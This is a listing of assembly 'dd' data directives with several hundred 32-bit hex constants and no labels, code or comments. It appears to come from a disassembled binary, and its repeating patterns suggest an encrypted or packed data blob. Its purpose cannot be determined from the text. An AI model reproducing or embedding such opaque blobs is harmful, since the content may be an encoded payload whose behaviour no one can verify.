		dd 41D81072h, 0A381CCAAh, 46523522h, 32C9AE42h,	631F0C9Bh
		dd 4B29A785h, 0F4793622h, 891228B4h, 28B4A1CCh,	0E78C2312h
		dd 6604C150h, 251228B4h, 0B463E1BFh, 8761218Ch,	319581A9h
		dd 0C71B855h, 87651F05h, 0E5740BA2h, 0BA612107h, 0A9DC9AF2h
		dd 2DEAD660h, 12294B40h, 6A56ED84h, 0FFE41A7Dh,	29FBD968h
		dd 8EE514Bh, 829D80CBh,	8CB463A4h, 0A9876121h, 55E1BE22h
		dd 0AA0EF9D5h, 9A6C01BEh, 0C1581229h, 21C7A532h, 0AE9B8761h
		dd 642411EFh, 7D0CA388h, 0D93D299Fh, 842FBE47h,	0FCDA69C4h
		dd 395B4834h, 0B847DEC3h, 21A381DAh, 29A98761h,	0E0BE224Bh
		dd 0B24C4D38h, 3F26644Eh, 0FD4AF3B0h, 65416896h, 9DD08D79h
		dd 271228B4h, 4A4D0AC3h, 58EFB434h, 0B463EBC9h,	0F7F1917Eh
		dd 0EEC7B12h, 0A9876121h, 6121A381h, 0E9AE9B87h, 29AA8817h
		dd 0ECC514Bh, 82BF2A4Bh, 2C843296h, 8143DAA2h, 0B46314F2h
		dd 5035228Ch, 0BE22B99Eh, 0A27FE457h, 6B58E7C2h, 81F3D12Fh
		dd 8A6421A3h, 514B29ACh, 85EEF162h, 34642129h, 26049B51h
		dd 6421A381h, 0D1B19E8Ah, 0B46805C2h, 0C55C1228h, 29C19F2Eh
		dd 0B937503Dh, 94513DD4h, 1228B4D9h, 0E7C554EBh, 2E157951h
		dd 87651264h, 218CB463h, 22AC8A64h, 0E9D5335h, 0BE22A381h
		dd 0BC66E970h, 0FF83E753h, 0D27AD7EDh, 0E2A3901Fh, 4B292E0Ch
		dd 40BC1E51h, 0A4826D70h, 228CB463h, 0B69B5535h, 952CCAC9h
		dd 827C1906h, 21A381A4h, 22AC8A64h, 139D5BEh, 63F2FDA9h
		dd 9D51A07Eh, 0EE166ACFh, 0BE22E7C5h, 1473B2DAh, 6CB372D6h
		dd 6F9E49D8h, 8A6421C7h, 3FFB3A9Eh, 437E1ED3h, 3522D6B4h
		dd 0EFAC9957h, 9F58211h, 9E83791Ch, 219A7807h, 29AC8A64h
		dd 0B430503Dh, 19514725h, 721228B5h, 0B463E1BFh, 8A64218Ch
		dd 21A381ACh, 22AC8A64h, 133323BEh, 877316CEh, 2973A3CAh
		dd 0FB8A2112h, 583D2A16h, 9B2AC1A6h, 0D94B51BDh, 6540F035h
		dd 8CB46387h, 99573522h, 30781D0Ah, 1AB19652h, 3522A583h
		dd 22B99E50h, 21280693h, 29A98761h, 0B331503Dh,	64214624h
		dd 0D1B19E8Ah, 932AC4C1h, 3D292604h, 0CA266451h, 28B4600Dh
		dd 3ECD6412h, 84622160h, 15D3B29Fh, 40AF5A30h, 63D5B31Fh
		dd 61218CB4h, 0F2AF9B87h, 1228B47Bh, 4523B249h,	6421A381h
		dd 0A381AC8Ah, 0AC8A6421h, 0CD543522h, 0B93D3019h, 44D36AFCh
		dd 6121815Fh, 3D29A987h, 25B43050h, 63A48247h, 0BE228CB4h
		dd 17AD6989h, 23E0CCBBh, 12290E4Ah, 6754E37Ah, 0AFBE7B2Eh
		dd 1512290Dh, 0EFBE77Eh, 817F1E8Ch, 0DF6E05EAh,	21A38101h
		dd 0F8753261h, 0CC1228B4h, 81C09E35h, 8A6421A3h, 224B29ACh
		dd 8B485335h, 1228B4E2h, 0CFB44BE2h, 76ECA938h,	15D224B2h
		dd 0BE22C4A2h, 31F5ADC1h, 28D362E8h, 7CDF43F9h,	4BA5493h
		dd 2D40FDE9h, 97122931h, 21937100h, 81AC8A64h, 0EEAA895h
		dd 3522A17Fh, 20B79C52h, 0B2975533h, 0E09F8C1Bh, 0A6B21602h
		dd 64980D6h, 64293F81h,	0DB14B400h, 36226E4Ch, 0A99DCDD2h
		dd 6B28C873h, 1228FB02h, 32139203h, 0A045565Eh,	351AD0B3h
		dd 9378079Eh, 793622B5h, 1228B4F4h, 0BDAA39D0h,	5914D1D8h
		dd 6B1228B5h, 295F3DD4h, 6387654Bh, 62218CB4h, 0FD946C2Eh
		dd 5335221Fh, 17AE4C47h, 0AA444532h, 19F78413h,	0AC8A6421h
		dd 6221A381h, 3D29A684h, 0D4B93750h, 0B5422BE8h, 0EB821228h
		dd 51E7C554h, 1228B51Ch, 2287656Fh, 0B69B5535h,	36E5901Fh
		dd 16571400h, 0AE1228B5h, 0B6F8984Ah, 6E05D81Eh, 352201DFh
		dd 210E9D53h, 81A68462h, 86522A3h, 0BC1228B5h, 29A58325h
		dd 4936224Bh, 7CF1AE48h, 481228B4h, 563522B1h, 0D36883CBh
		dd 3FD61EA9h, 6C4B2961h, 0C65228Eh, 0B81228B5h,	95814321h
		dd 67DA4F31h, 57E66BB1h, 50352279h, 9322B99Eh, 2B09E7A6h
		dd 9B87A381h, 0F744EFAEh, 0A96BCFA9h, 0FD947910h, 6621906Eh
		dd 4B29AA88h, 9C523522h, 0C632500Dh, 225919F9h,	0B79C5235h
		dd 0C82BE853h, 65FCFD27h, 50AEE9D6h, 0DC1A7764h, 0F3D160F7h
		dd 6621A381h, 0C3389C88h, 0C833EB82h, 2903E170h, 23B7514Bh
		dd 65D46014h, 79362287h, 1228B4F4h, 0FFAA39D0h,	6C2D1A10h
		dd 21250392h, 389C8866h, 7ADB9AF3h, 0BA982702h,	0ECA99581h
		dd 1228B481h, 3F1DAC43h, 44543522h, 3015AC40h, 7A1D0A99h
		dd 0FB926E2Eh, 0C1AEAB0Fh, 0B44ED2A6h, 0D70B512Bh, 0D135CC08h
		dd 61A7FACFh, 0C9A736C5h, 62214B29h, 0E9AB9884h, 29A68413h
		dd 6387654Bh, 66218CB4h, 3522AA88h, 0E7864356h,	0DD1228B4h
		dd 33CAAF46h, 223917A4h, 0B4F47936h, 39D01228h,	0CCDCBDAAh
		dd 0B84F34C8h, 4B294321h, 78F8BE22h, 6E0535DEh,	581F22DFh
		dd 0FA5E6BF3h, 0EFC6E3E8h, 4725B464h, 0A8866021h, 6021A381h
		dd 3D29A886h, 0E57489D9h, 0E7D4848Fh, 0E1BF4EACh, 9F5C4834h
		dd 1228B4CEh, 7217E9AEh, 816E4CDBh, 866021A3h, 10EEAD9Ah
		dd 2705942Bh, 94513D29h, 1228B4D9h, 0E7C554EBh,	28B51951h
		dd 7E006412h, 0C50D5868h, 25B5A165h, 0F78E88C5h, 0D91F4E0Bh
		dd 0EA51228h, 0D3BFA17Fh, 0BB34E36Fh, 3A27E37Ah, 23BA9F59h
		dd 0B463B694h, 8660218Ch, 21A381A8h, 29A88660h,	5435224Bh
		dd 0C3A84444h, 4906952Ch, 0B9DE9797h, 638765F4h, 0BE228CB4h
		dd 0F04A086Ch, 2F1CAB8Ah, 81B69452h, 10ECA895h,	2705942Bh
		dd 9C886621h, 8615D3AFh, 503D29A8h, 0C4C6B331h,	21B0472Ch
		dd 86602143h, 384B29A8h
		dd 8CB4635Ah, 9C886621h, 8514D2AFh, 21A381A7h, 0AD9A8660h
		dd 443116E8h, 2BC2A745h, 81270594h, 0B9EAA895h,	28B471FCh
		dd 25BC5312h, 3C1AA940h, 0A7856321h, 16804B29h,	7512FFEBh
		dd 70FF967Bh, 0A8958192h, 9F7D0CE8h, 35228E6Ch,	1DB49957h
		dd 21CBA98Eh, 94523161h, 0DF8118AFh, 214B2901h,	0B5E6BB66h
		dd 475F87CEh, 2929E38Ah, 0B34AE112h, 35223E1Ch,	7E0B9A54h
		dd 5BBFABA0h, 76F5C69Dh, 0AE8C1BB7h, 28B51C51h,	87656F12h
		dd 917EB463h, 7E15FAF4h, 0A98711EFh, 9E8A6421h,	3015D3B1h
		dd 0FFA9D7CCh, 89202B7Bh, 3D291CFAh, 586D7CD9h,	63F2874Dh
		dd 22CDAB85h, 0C9B5535h, 9C88661Fh, 27310F38h, 0C5822902h
		dd 122974A8h, 5FEE851Ch, 31958181h, 1BB4D998h, 9B7908C5h
		dd 9E8A6421h, 3217D1B1h, 292E0C9Bh, 0B51C514Bh,	656F1228h
		dd 0F10F8C79h, 0B4638462h, 3464218Ch, 24029957h, 6421A381h
		dd 4B29AC8Ah, 28B51C51h, 11746112h, 52AEEEDBh, 7965E5C3h
		dd 66F50B8Ch, 8CB46388h, 0AC8A6421h, 8E6CA381h,	64214B29h
		dd 3522AC8Ah, 290E9D53h, 1C806C4Bh, 64A977C9h, 0D0AE3D75h
		dd 0B50C6522h, 0D711228h, 4CDD04F9h, 0C166F546h, 0A3814C2Ah
		dd 0AC8A6421h, 9B87A381h, 0B47BF2AFh, 0B2491228h, 0FE514523h
		dd 8D1228BAh, 0F4793622h, 0D01228B4h, 6146A4E3h, 0B7A433CAh
		dd 293D1BD9h, 865224Bh,	0BC1228B5h, 0B55A13D0h,	0D36A1228h
		dd 0C1AE9A3Ch, 0BD9B2AC4h, 0B5086522h, 88751228h, 4704F00Ch
		dd 1228B526h, 0D378079Eh, 0A3815E3Ch, 0E4866021h, 6C4B2906h
		dd 96D79480h, 2E1228B4h, 292A0897h, 8866214Bh, 543522AAh
		dd 0A07E0B9Ah, 1C51CDABh, 611228B5h, 0F7DC1074h, 65F3D160h
		dd 52352287h, 9120B79Ch, 140137E6h, 0A5927775h,	0E7760DE3h
		dd 0AE9B8709h, 962D12EEh, 0CDAB2907h, 28B51C51h, 67216F12h
		dd 0DAB7A489h, 0B661371Ch, 72502647h, 1A7EB463h, 251CBA32h
		dd 6D4BDA78h, 6421A987h, 0A33A9E8Ah, 78418BABh,	0B8B5725Eh
		dd 0C122947h, 2908E675h, 94806C4Bh, 28B496D7h, 8972E12h
		dd 865222Ah, 751228B5h,	0FFFD9C89h, 28B52B42h, 73029912h
		dd 225937CEh, 0B4995735h, 23018E1Dh, 6421CDABh,	0A381AC8Ah
		dd 99573522h, 837D1D0Ah, 3E313397h, 95E7EC11h, 280DEBA8h
		dd 29240291h, 0B51C514Bh, 216F1228h, 81A98761h,	8A6421A3h
		dd 78F5B29Eh, 4C1228B4h, 0DEC3215Fh, 4321B047h,	61214B29h
		dd 4B29A987h, 35228765h, 0CAB69B55h, 28B4600Dh,	36CD6412h
		dd 250DFCA7h, 0AC8A6421h, 0ECA99581h, 1228B481h, 7A5F9DFBh
		dd 18A73EE3h, 3261213Ah, 28B4F875h, 9E35CC12h, 533522C0h
		dd 3421B89Dh, 7D0A9957h, 5435229Fh, 791E0B9Ah, 0EAAE9B87h
		dd 29A98716h, 0B51C514Bh, 656F1228h, 55352287h,	901FB69Bh
		dd 9C0036E5h, 0B2517461h, 6A48D7DAh, 0AC8A6421h, 98563522h
		dd 630AC7B3h, 611228B4h, 17A433CAh, 228E6C39h, 0D9C5235h
		dd 64214A28h, 0D1B19E8Ah, 0C9B3217h, 6C4B292Eh,	5335228Eh
		dd 9221B89Dh, 11CEBAA6h, 1228B55Ch, 8542D168h, 1228B5ECh
		dd 85E8A591h, 3F1228B5h, 0DD7419A8h, 0A99581FFh, 28B481ECh
		dd 1DAC4312h, 8A64213Fh, 22A381ACh, 0B09D5335h,	972E13D1h
		dd 22A38108h, 0B4F47936h, 39D01228h, 0CDDCBDAAh, 28B55D10h
		dd 15EAA812h, 0A0F3F3E4h, 0EFCD64FBh, 0B6514B29h, 0D5433605h
		dd 0A8866021h, 0ECA99581h, 1228B481h, 0BA5F9DFBh, 22B69423h
		dd 0D9C5235h, 0A7856320h, 6FCFBE22h, 0F254ADE7h, 51A07E63h
		dd 1228B517h, 5F4C3874h, 4CE3C826h, 0B463DFBDh,	8660218Ch
		dd 21A381A8h, 29A88660h, 0C7F6D93Dh, 8528DEDEh,	483418F6h
		dd 0DABF3D5Bh, 4EC9DF43h, 6835A3C1h, 0A381FBD9h, 0F4793622h
		dd 0D01228B4h, 0DCBDAA39h, 4A2FCDCCh, 293E1CB3h, 5BBE224Bh
		dd 0FDDD7B8Ch, 3AD12F6Ch, 0D0B54B4Dh, 95EDAA39h, 0F64B072Bh
		dd 0B4638765h, 98D5927Eh, 2C1228B4h, 21280695h,	81A88660h
		dd 316021A3h, 28B4F974h, 9D34CB12h, 0A9BE22BFh,	340D8DE1h
		dd 36220796h, 21B04E49h, 1AE65143h, 38A54D85h, 8CB4635Ah
		dd 0A8866021h, 6021A381h, 0E8AD9A86h, 0B46904C1h, 0C45B1228h
		dd 22B1482Dh, 503D2944h, 38CFB430h, 6221CBA9h, 4B29A684h
		dd 0B4638765h, 5CBE228Ch, 5492F149h, 0E74D86Fh,	0F9E67533h
		dd 85725E98h, 7108ED03h, 0A38104E2h, 0A8866021h, 94513D29h
		dd 1228B4D9h, 670CE2A3h, 516341D0h, 4D851AE6h, 638765A5h
		dd 0BE228CB4h, 97F0065Dh, 3A21F559h, 0B5D6C352h, 95815D3Bh
		dd 0B481ECA9h, 0AC431228h, 0B46A03C0h, 0C35A1228h, 14805634h
		dd 4B290FEDh, 4B298E6Ch, 7A0DF651h, 6321952Bh, 0D5B3A085h
		dd 1BC63217h, 331F8BECh, 0CAAF4146h, 63C6A433h,	806C8CB4h
		dd 16FBF193h, 2212F07Fh, 0B4F47936h, 39D01228h,	0E5D2BEAAh
		dd 0CD6449A7h, 6045A3E0h, 0F07D3AC9h, 0D41228B4h, 0A3815F3Dh
		dd 4B298E6Ch, 0A7856321h, 4E319581h, 1507665Bh,	21DFBD4Ch
		dd 22AB8967h, 0A35BB3BEh, 9E02D35Dh, 87328944h,	0F8DD6CB3h
		dd 21CDAB1Ah, 81AB8967h, 81ECA995h, 431228B4h, 213F1DACh
		dd 0B09D8967h, 9A3116D2h, 36222D0Bh, 28B4F479h,	0AA39D012h
		dd 3522E7C5h, 4C099856h, 1228B521h, 6387656Ah, 67218CB4h
		dd 0B4F67734h, 37CE1228h, 3622C2A0h, 28B4F479h,	0AA39D012h
		dd 67213F1Dh, 389C5233h, 50334D1Bh, 0C8A63DAEh,	35224B29h
		dd 1EB59A54h, 0B49BD28Fh, 65F01228h, 8CB46387h,	0AB896721h
		dd 9A543522h, 28F1EB5h,	93806C24h, 0A198FCF2h, 0B15A899Fh
		dd 29D2B03Fh, 8967214Bh, 0A980399Dh, 0DBE273ACh, 28E74F1Eh
		dd 47DE7512h, 3D29DAB8h, 0B4D99451h, 54EB1228h,	8E6CE7C5h
		dd 0B50C6522h, 21B81228h, 0AE4A4835h, 0A381411Fh, 99573522h
		dd 74311DB4h, 1228B4F9h, 0B8A534CBh, 0D03420DCh, 5463A50Bh
		dd 0BE1A357h, 69F88F26h, 87A3818Bh, 856321A9h, 7DF0AD99h
		dd 471228B4h, 75DE1DE3h, 18AFBFC2h, 4B29AB89h, 7A0DF651h
		dd 0C4A2952Bh, 9E503522h, 793622B9h, 1228B4F4h,	0FFAA39D0h
		dd 63212810h, 0A381A785h, 0A8866021h, 6021A381h, 4B29A886h
		dd 28E80D51h, 62217E12h, 4B29A684h, 0D794806Ch,	1228B496h
		dd 0A640412Eh, 766230Fh, 0BD1228B5h, 22B99726h,	28B50865h
		dd 4725BC12h, 0C551A381h, 0C62A8DF2h, 0A6846221h, 3622A381h
		dd 28B4F479h, 0AA39D012h, 4220DEBDh, 99573522h,	8413E9ACh
		dd 0AC7B39Fh, 1228B463h, 5D3BCA61h, 8991BE22h, 0B1741DC5h
		dd 295479F4h, 1DB44B12h, 8D9DD18Eh, 21EE3AF3h, 0B8A58A64h
		dd 0CD391EDAh, 692F322h, 8CB46328h, 6D2E6221h, 221EFC93h
		dd 0B4F47936h, 39D01228h, 213F1DAAh, 29AA8866h,	0C22A514Bh
		dd 675375AFh, 0FADF197Ah, 0C1C7A663h, 11FD75AFh, 0AFC21954h
		dd 7D14AB75h, 352210EEh, 220F9E50h, 399D8967h, 83A8D58Ch
		dd 9FCD8B61h, 0ACB96ED2h, 817D5BEAh, 81ECA995h,	0FC1228B4h
		dd 28B52E3Fh, 5AFF9612h, 225634C3h, 0B4F47936h,	39D01228h
		dd 20DEBDAAh, 224B2942h, 0E7DBCFBEh, 81058C8Dh,	0FA9A45ECh
		dd 7461F087h, 29FDDB11h, 8967214Bh, 1FDDB7A4h, 4AB9643Ah
		dd 6302E029h, 36228CB4h, 87F02FD2h, 2EEB71B6h, 1229483Fh
		dd 725FEE85h, 8E027F13h, 780FF40Ch, 816C4AE1h, 886621A3h
		dd 523522AAh, 9120B79Ch, 0CDB41804h, 0B5EBE50Fh, 224B29B8h
		dd 0B4F47936h, 0E3D01228h
		dd 20AF46A4h, 0B8965433h, 0BE224B29h, 752D464h,	0B09D2C66h
		dd 6607C4D7h, 5E122941h, 295230C7h, 8462214Bh, 8A1C3498h
		dd 106EBD36h, 0FB927775h, 81F7D564h, 3EE9A895h,	569F97B7h
		dd 7F64FB03h, 5F9DFBE8h, 6421F2D0h, 0A381AC8Ah,	0AC8A6421h
		dd 35224B29h, 1DB49957h, 81D6B48Eh, 846221A3h, 214B29A6h
		dd 22AC8A64h, 41435735h, 982FC6ABh, 21462409h, 34988462h
		dd 5EDE4D5h, 0F1CF5E47h, 0ECA99581h, 1228B481h,	3F1DAC43h
		dd 0AC8A6421h, 3622A381h, 28B4F479h, 0EF0D8812h, 3724B34Ah
		dd 29BC9A58h, 5535224Bh, 901FB69Bh, 0D6C2E4B3h,	28B55419h
		dd 4AD97012h, 8462216Ch, 16D2B29Fh, 0EB1AC531h,	22CDAB8Ah
		dd 0AC4A4936h, 28B47EEFh, 639DFE12h, 0AB42E77Eh, 8C82711Ch
		dd 1502E09Fh, 0FF967B75h, 62219270h, 3622A684h,	0F1AE4849h
		dd 1228B47Ch, 7E638100h, 1CAB42E7h, 3522B18Fh, 220F9E50h
		dd 29A78563h, 0B937503Dh, 0D0AE3DD4h, 0F3C00651h, 0E7C58576h
		dd 218CB463h, 0FB722F62h, 0C91228B4h, 0C3AF9B32h, 28B46706h
		dd 37C65D12h, 21A38159h, 29A68462h, 0E078514Bh,	651377ACh
		dd 8CB46387h, 0A6846221h, 0B2C2BE22h, 474458F4h, 214D2BB8h
		dd 956B2E62h, 4B2920FEh, 0A8866021h, 0EAA89581h, 392290Eh
		dd 84622125h, 12E8AB98h, 0A381A583h, 9B553522h,	84621F0Ch
		dd 8FA13498h, 2ACC6181h, 3522BD9Bh, 0AA464454h,	8972EC5h
		dd 35224523h, 0CAB79C52h, 0B54C31CFh, 0BAD28F1Eh, 0C3279DF8h
		dd 0F9531AD7h, 0DA71279Dh, 5A386D4Bh, 927EB463h, 28B498D5h
		dd 47A5E412h, 9E7C0BA2h, 9C523522h, 32CECAB7h, 7BF2AF9Bh
		dd 491228B4h, 553623B2h, 0A381BD9Bh, 0A8866021h, 1C314B29h
		dd 2665523Eh, 0B4620BC8h, 0CB621228h, 67215E3Ch, 0B59A5033h
		dd 0B5A2871Eh, 2BC5C2D6h, 7823AF94h, 4430E889h,	0D2286B58h
		dd 0D49956EDh, 0F01228B4h, 63ECCA59h, 35228CB4h, 210E9D53h
		dd 22A88660h, 0E9D5335h, 1E319581h, 3EDB36C7h, 0F3D81072h
		dd 5836C55Ch, 0A8866021h, 0F4793622h, 0D01228B4h, 0D369C36Ch
		dd 54EBF046h, 5102E0C5h, 1228B519h, 63876572h, 0BE228CB4h
		dd 0BA49ED6Dh, 0E3D05F77h, 816A48A6h, 306021A3h, 0A45A3D51h
		dd 0FA91280Dh, 0EBBE221Ch, 0C41DCBD7h, 0A28E7302h, 391ED0B5h
		dd 513513A2h, 0C07E5E6Fh, 6387651Ch, 60218CB4h,	86435430h
		dd 1228B4E7h, 18AF46DDh, 4ABE223Ah, 4AA0E3B3h, 6B6E38E6h
		dd 76634FDCh, 7250DF11h, 9D533522h, 8660210Eh, 214B29A8h
		dd 81AA8866h, 563522A3h, 7F1C0998h, 0A381A381h,	10EE1580h
		dd 37503D29h, 0AE3DD4B9h, 336621D0h, 28B4F776h,	9F36CD12h
		dd 214B29C1h, 0B4A18660h, 4A371CD0h, 5904AD4Bh,	5937C9AAh
		dd 978CB463h, 39CD3618h, 961C5h, 6621E700h, 4B29AA88h
		dd 98563522h, 8312E8ABh, 66214220h, 3522AA88h, 1EB59A54h
		dd 2124028Fh, 6943BB66h, 593BC273h, 43DABF39h, 293715ACh
		dd 5235224Bh, 1D500D9Ch, 6E1228B5h, 0B4638765h,	8866218Ch
		dd 22A381AAh, 6E2D48BEh, 24110E52h, 0DA48967h, 0A0F0917Eh
		dd 741603E1h, 0DF9E57Ch, 295C1D50h, 8110A712h, 514B29A3h
		dd 89331055h, 4B5F3B28h, 35CCB14Fh, 9322B99Eh, 866021B5h
		dd 0A89581A8h, 0A48211EFh, 0A8866021h, 4B03BE22h, 32AC4D33h
		dd 31E0BEA3h, 36513E1Ch, 0AD3CD3B8h, 22512FCFh,	9985635h
		dd 8C79AF5Eh, 5FB9C0Eh,	0DF28920h, 0F10F8976h, 60218462h
		dd 0EFAD9A86h, 22A48211h, 0B4F47936h, 39D01228h, 44311DAAh
		dd 3F1DAC40h, 0A8866021h, 45543522h, 28B4E588h,	0B148DF12h
		dd 515F3D22h, 721FFD14h, 63E7C577h, 60218CB4h, 0A381A886h
		dd 0A8866021h, 0F3514B29h, 8A311BFAh, 1F04FA9Dh, 651BF988h
		dd 4A362287h, 28B4E08Dh, 904DE412h, 1228B4DDh, 16C150E7h
		dd 60213FE7h, 0D2021B9h, 7B129591h, 5035229Dh, 6E4016D1h
		dd 6E059C5Eh, 217452DFh, 29A88660h, 8156344Bh, 0B4BE22A3h
		dd 7187A2F0h, 0B3D0BD4Ch, 0BE225735h, 9A970FBFh, 0CBB03F26h
		dd 3EBE22EDh, 9AD3901Eh, 2A1228E8h, 43092F93h, 0FE83721h
		dd 0AB42F89Dh, 149E5F1Ch, 65ED3202h, 8CB46387h,	0A8866021h
		dd 6621A381h, 0D6AF9C88h, 0E6E5EE4Bh, 0A33A4169h, 5E3A27BEh
		dd 293513A2h, 8660214Bh, 384B29A8h, 7EB4635Ah, 14F9F791h
		dd 2110EE7Dh, 81AA8866h, 866021A3h, 13EDAD9Ah, 0A381A684h
		dd 0AA886621h, 65224B29h, 1228B508h, 0A58325BCh, 8DD23622h
		dd 1AAFE951h, 0C5A865F4h, 0FF1229AEh, 9A77BA9Bh, 1A07515Ch
		dd 9E77E7Ah, 8E6C4B29h,	5AD93D29h, 2C7E32EBh, 21B89625h
		dd 0AF9C8866h, 0A68413D1h, 99573522h, 18E1DB4h,	0D2BFAB23h
		dd 0CAA837B1h, 28B51C51h, 79656F12h, 65F4088Ch,	8CB46387h
		dd 8E6CA987h, 68D23622h, 0BB5B4660h, 71FCB948h,	0C12290Eh
		dd 0F0A6320h, 23BA1229h, 7A58EF94h, 8E6CA381h, 94513D29h
		dd 1228B4D9h, 0E7C554EBh, 0F4793622h, 0D01228B4h, 4523AA39h
		dd 542F6321h, 2D1AB196h, 1CFA916Fh, 8E6C4B29h, 8D4A3622h
		dd 1228B4E0h, 1BE4DE4h,	1228B46Ch, 81E3C158h, 298E6CA3h
		dd 298E6C4Bh, 3464214Bh, 24029957h, 0CDABA381h,	28B51C51h
		dd 87656F12h, 878CB463h, 1F4651A9h, 4A371229h, 31C8AD4Bh
		dd 6321C4A2h, 3522A785h, 280D9C52h, 228E6C4Ah, 28B50865h
		dd 0CC897512h, 1228B4A1h, 58FD8C23h, 3522E3C1h,	7F0C9B55h
		dd 21CDABA1h, 81A78563h, 876121A3h, 514B29A9h, 1228B51Ch
		dd 8761216Fh, 7BF2AF9Bh, 11228B4h, 2EC56A84h, 0A381C19Fh
		dd 0FCB86321h, 0B09D6C2h, 29C5A33Ah, 50BE224Bh,	8A2E8625h
		dd 99F9E675h, 3D29815Fh, 56737ED9h, 983FCD67h, 0A5CCB0A7h
		dd 0AF8D1CB3h, 0B4638765h, 8563218Ch, 21A381A7h, 0F8753261h
		dd 0CC1228B4h, 0C5B29E35h, 0BE9C2BC5h, 6321A381h, 0B4FA7330h
		dd 0C6831228h, 1228B4A7h, 4AE1861Dh, 3D29D5B3h,	0DAEB3450h
		dd 0FFCDBAD9h, 0A33A1FB6h, 1C513614h, 6F1228B5h, 9F846221h
		dd 3217D1B2h, 2142B15Ch, 0E3A08C78h, 1228B48Ah,	3614A33Ah
		dd 218CB463h, 81A78563h, 856321A3h, 11EFAC99h, 4B29A482h
		dd 0F293806Ch, 938017FCh, 8017FCF2h, 652213F1h,	1228B508h
		dd 294725BCh, 22C4A24Bh, 0B4F47936h, 9881228h, 0CA6F06EBh
		dd 0B54C21DEh, 0E1781228h, 0E110BB4Ah, 85632139h, 0AAA381A7h
		dd 20F59D19h, 0C3AF514Fh, 0AA39B7D6h, 214B29CCh, 94522F63h
		dd 6A2B18AFh, 8118AF94h, 513D29A3h, 28B4D994h, 0C554EB12h
		dd 63C4A2E7h, 806C8CB4h, 0AF7F593h, 0F38A6F89h,	36228664h
		dd 28B4F479h, 0AA39D012h, 0B46C01BEh, 0C1581228h, 21A381E3h
		dd 35998563h, 63720F52h, 9B7908B9h, 8E6C4B29h, 0B5086522h
		dd 0CFBC1228h, 1C7D65B0h, 0CD259459h, 0C6B39F36h, 0BE9C2BC5h
		dd 45553522h, 2F14AB45h, 46240998h, 0B463C4A2h,	3063218Ch
		dd 0C4A94743h, 0B4FD702Dh, 30C71228h, 0A381BB99h, 3522A987h
		dd 727BD150h, 0F27E4D53h, 0A1DFCC5Bh, 0BB52ACEDh, 51BE22DDh
		dd 2B0485B2h, 2D19FE8Dh, 0C4A94740h, 51C09E2Dh,	4E50E0FAh
		dd 0B8632191h, 159F31B7h, 0C8CDBA2Eh, 23BA5136h, 21A38145h
		dd 0F5783564h, 0CF1228B4h, 22C3A138h, 0B4F47936h, 39D01228h
		dd 22E7C5AAh, 0C9B5535h, 0A583611Fh, 56F2BE22h,	573008E4h
		dd 6505E3C8h, 8CB46387h, 0AC8A6421h, 6421A381h,	290AE88Ah
		dd 8563214Bh, 7DF0AD99h
		dd 471228B4h, 814321B0h, 22CDABA3h, 0B59A5435h,	9BD28F1Eh
		dd 0E21228B4h, 0CA5997F5h, 638765ECh, 0A9878CB4h, 0A8866021h
		dd 0F4514B29h, 978DD2FBh, 0A8866021h, 6421A381h, 46425434h
		dd 422E13AAh, 28B4E885h, 0AE45DC12h, 4B293917h,	9A866021h
		dd 2C11EFADh, 29280695h, 635A384Bh, 64218CB4h, 0A381AC8Ah
		dd 0A8866021h, 0EDA89581h, 381DDBB9h, 0C1250AA1h, 0E1B3269Bh
		dd 68F78E47h, 3564218Ah, 28B4F578h, 4D271012h, 0AF2DEAFFh
		dd 0F0DC730Ah, 0F9998403h, 0B5A2D583h, 665338CFh, 51E8CD23h
		dd 224D2BBAh, 0B9A5435h, 63214826h, 3D29A785h, 0D2B73550h
		dd 65CEAC3Bh, 9DD08D79h, 271228B4h, 63230190h, 0BE228CB4h
		dd 0A4F159C5h, 513ECD8Ah, 22DCBA34h, 0B89D5335h, 27059221h
		dd 29012251h, 60216912h, 0F42DD8B9h, 6F060999h,	224B2991h
		dd 28B50865h, 58BC12h, 0DB866ABAh, 0C6A446DDh, 0B5086522h
		dd 88751228h, 0BD62F10Fh, 95814826h, 0B481ECA9h, 0AC431228h
		dd 9322C0BFh, 0DF1F51B5h, 715E3378h, 5CF3D816h,	0BE22EFCDh
		dd 0FCEBC3CBh, 2512A11Bh, 81AC8A64h, 306021A3h,	0EEAB9755h
		dd 1228B47Fh, 2B17AE45h, 0B4EB823Fh, 42D91228h,	4B29D5B3h
		dd 2321F351h, 6221986Dh, 0D7B29F84h, 1DC83419h,	43218DEEh
		dd 218CB463h, 81A88660h, 346421A3h, 0AB414357h,	0B3982FC6h
		dd 22A7851Ch, 0B4F47936h, 39D01228h, 21E7C5AAh,	29A88660h
		dd 0B834503Dh, 0A130CECBh, 228765C3h, 45455535h, 0DA8514ABh
		dd 4C09F52Bh, 1228B521h, 9F7D0CA3h, 0AC8A6421h,	0E9A89581h
		dd 8F260Bh, 79362222h, 1228B4F4h, 0BDAA39D0h, 814422DCh
		dd 346421A3h, 0A8464551h, 229C7A11h, 0B4F47936h, 39D01228h
		dd 0D0B54B4Ch, 0D9C5AA39h, 6E53A9ECh, 3F2EEBD7h, 851228B5h
		dd 51815FEEh, 4E50E0FAh, 635A3891h, 0F7917EB4h,	218C6AF9h
		dd 81AC8A64h, 99BE22A3h, 7FB4BD89h, 997E7C17h, 0EFDC6B02h
		dd 297A5896h, 8866214Bh, 0DFBE22AAh, 5767F7BFh,	0CAA88D1Ch
		dd 54336721h, 2D1AFF96h, 24B0956Bh, 7DE98A79h, 8CB4639Fh
		dd 0AC8A6421h, 6121A381h, 4B29A987h, 9E503522h,	22CEAC0Fh
		dd 5ABC7CBEh, 0F584A0DFh, 7F188A08h, 810CEA81h,	876121A3h
		dd 503D29A9h, 0E2CFB430h, 20AF46A2h, 0B51C5142h, 656F1228h
		dd 8CB46387h, 9D533522h, 8761210Eh, 21A381A9h, 379B8761h
		dd 350B2823h, 0FDDB6AB8h, 32503D29h, 0AB3AD1B6h, 563522CDh
		dd 8D1CB398h, 28B49DD0h, 5A38EE12h, 218CB463h, 81A98761h
		dd 0EEAA895h, 8E6CA17Fh, 37503D29h, 0AE3DD4B9h,	876121D0h
		dd 214B29A9h, 0FD9B8866h, 0D715DFFh, 0FE4C7588h, 0DAB8A567h
		dd 22B18F1Eh, 28B50C65h, 4321B812h, 0EDA89581h,	8B65220Fh
		dd 0A2800FA6h, 0A9876121h, 0F4793622h, 111228B4h, 87449D68h
		dd 50E78CFFh, 875634C1h, 8A6421A9h, 9C6B29Eh, 1228B464h
		dd 610CC960h, 1B1228B4h, 44DB807Eh, 4B29D7B5h, 0F593806Ch
		dd 228A68F7h, 28B50865h, 4725BC12h, 9D533522h, 59221B8h
